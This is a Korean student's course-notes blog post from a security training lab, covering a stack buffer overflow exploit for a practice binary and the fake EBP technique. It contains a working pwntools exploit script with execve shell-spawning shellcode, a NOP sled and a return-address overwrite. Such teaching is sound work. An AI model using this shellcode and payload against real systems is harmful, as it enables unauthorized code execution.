min8282

[취약점분석] BOF2, Advanced BOF - 7/22 실습 5일차 본문

K-Shield.Jr

[취약점분석] BOF2, Advanced BOF - 7/22 실습 5일차

min8282 2024. 7. 22. 21:36

.ova->(qemu)->.qcow2

리눅스 오픈소스 프로젝트

 

pcg@alpinelab.io -> 멘토님 이메일

아무 질문이나 상관없으니까 편하게 연락 부탁드려요~

 

일반적인 실무 환경)

  • IDA, Ghidra, Binary Ninja
  • 디컴파일러

실습)

  • .c, gdb를 사용.

원래 준비한 커리큘럼

1. 디버깅

2. 단위 기술 학습(현재 bof까지 진행)

3. ROP->보호 기법 우회

 - 시스템 해킹의 기초. 아직까지 시스템 해킹이 안 맞는다? 결정 못 한다면 이걸 배우다 보면 알 수 있다.

4. 대회 문제 풀이(안 해도 상관x)

5. 1-Day 실습(중요한 부분만 찝어서)

 

기드라/binaryninja 설치

sudo apt-get update
sudo apt-get install openjdk-21-jdk

ghidra github에 release 압축 파일 다운.

 

binaryninja free 검색 후, 아키텍처에 맞는 파일 다운로드

둘 다 해당 경로에 들어가서 ./binarynija or ./ghidraRun 하면 실행 완료.

 

어셈블리어 볼 때, 함수 호출하는 부분  184페이지

 

주소가 실행마다 변경됨

ASLR 적용 상태 확인. aslr = 스택, 힙, Libc 로딩 등의 주소를 랜덤화

 

우리는 2가지 정보를 알고 있다.

stack BOF -> RET 변조 가능

buf 주소를 알고 있다.

 

메인함수에서 버퍼 0x200

최대 0x400 입력 가능 -> stack overflow가 발생.

from pwn import *

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

p = process("./bof2")

p.recvuntil(b" @ ")
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf_addr @ {buf_addr:#x}")

payload = b""
payload += b"\x90" * 0x20
payload += shellcode
payload = payload.ljust(0x208, b"\x90")
payload += p64(buf_addr)

p.send(payload)
p.interactive()

 

int("str", base)
# str를 base 진법으로 해석하여 변환

p.recvline # 개행을 만날때까지

"str".strip #띄어쓰기, 개행 등을 제거(문자열 앞뒤)

"str".ljust(n, byte)
# n의 길이가 될 때까지 byte를 더 함

 

사람이 보기 좋은 상태이기 때문에 int 내장 함수를 사용하여 \x42\x24 이런 식으로 변환.

buf, @ 제외하기 위해 until 사용

"str\n".strip 개행이 붙어 있는 상태이기 때문에 사용.

 

buf(0x200) + SFP(0x8) + RET(0x8)

NOP + SC + NOP + &buf

 

NOP + SC + NOP가 buf(0x200) + SFP(0x8) 이만큼 차지 = 0x208 크기

&buf가 RET(0x8)의 0x8만큼 차지해야 함. = 0x08 크기

nop sc nop 로 쉘코드를 감싸줘야 함.

앞에 nop는 우리가 알 주 못 함.

return address를 buf 주소로 리턴 시킨다. 그러면 ? 거기에는 우리가 작성한 쉘코드가 있기 때문에 "bin/sh"가 작동!!

\x90 -> nop를 나타내므로 이걸 사용해야 함.

 

세세하게 나눠서 설명

취약점 : stack에서 bof가 발생한다.

-> 이걸 악용해서 RET까지 덮도록 악용.-> 컨트롤 플로우 변조

공격기법 : RET까지 덮도록 악용.-> 컨트롤 플로우 변조

 

buf addr를 알 수 있다.

NOP + SC + NOP

첫 번째 NOP은 우리가 주소를 알지 못 함.


advanced bof

취약점 분석 시간을 드릴 거예요.

 

1. 아까와 동일하게 stack bof가 발생하는데 취약점 한계가 있다.-> 입력할 수 있는 데이터의 길이, 형태 등(1시간 분석 시간 드립니다.)

2. 공격 시나리오

어떤 식으로 악용할지

 

민서좌 분석 시작

일단 이전 bof2와 동일하게 ASLR 보호 기법이 적용되어 있는 것을 확인했고, buf 주소를 알 수 있다.

이전 bof2.c 와 다른 점으로는 buf의 크기가 1024에서 520으로 줄어 들었다.

1024-512 = 512만큼 페이로드를 사용 가능했지만, 지금은 520-512로 8만큼 페이로드를 만들어 exploit 해야 한다.

0x208 = 10진수 520

기존 520만큼 넘기고 그 뒤에 리턴 주소를 덮었다면, 현재는 최대 520-512=8만큼 사용 가능하므로 512로 변경


멘토님 분석 시작)

메인 함수부터 분석 시작. 

init() : init하는 함수구나 하고 분석 끝냄..ㅋㅋ;;

 

vuln() : printf, read 순차적으로 하는 것을 알 수 있음. read() 함수만 자세히 보면 됨.

 

취약점 탐지, 분석 및 트리거)

  • 발생 원인 : buf 크기보다 더 많이 입력 가능
  • 한계 : 0x8만큼만 더 쓸 수 있음

공격 시나리오) - 하나씩 알아야 할 것.

[buf][sfp][ret] 구조.

  • SFP의 역할 : 스택 프레임의 시작
    • sfp의 주소 : 현재 실행중인 함수의 스택 시작점
    • sfp의 값 : 부모 함수의 스택 시작점
  • leave 명령어 : 스택 정리 (함수 에필로그 = leave+ret)
    • mov rsp, rbp : rsp의 주소가 rbp와 동일해짐
    • pop rbp : rsp에 있는 값을 rbp로 복사; rsp += 8 (두 가지 일을 한다)
      • 스택은 데이터를 넣을 때는 -, 빼 낼때는 +
    • 즉, RBP가 SFP 안에 있는 값으로 변경
  • Fake EBP 공격 기법

leave에서 스탑했다.

 

208만큼 입력이 가능하다. 

 

fake ebp 사용할 수 있는 환경)

부모 함수가 종료되는 시점에 내가 원하는 코드를 실행하는 방식.

실제 취약점 발생한 곳은 vuln 함수 내부인데,

fake ebp는 부모 함수 조작.

 

왜 부모 함수에서 호출이 일어나는 가?

vuln 함수의 LEAVE 호출 이후

  • RSP : vuln() RET의 주소
  • RBP : 변조된 SFP

vuln 함수의 RET 호출 이후

  • PC(RIP) : main 함수 중간
  • RSP : vuln RET의 주소 + 0x8
  • RBP : [변조된 SFP]

main 함수 LEAVE 호출 이후

  • RSP : 변조된 SFP + 0x8
  • RBP : [변조된 SFP]

vuln 함수의 부모 함수(main)가 LEAVE, RET을 사용

-> 스택의 주소를 변경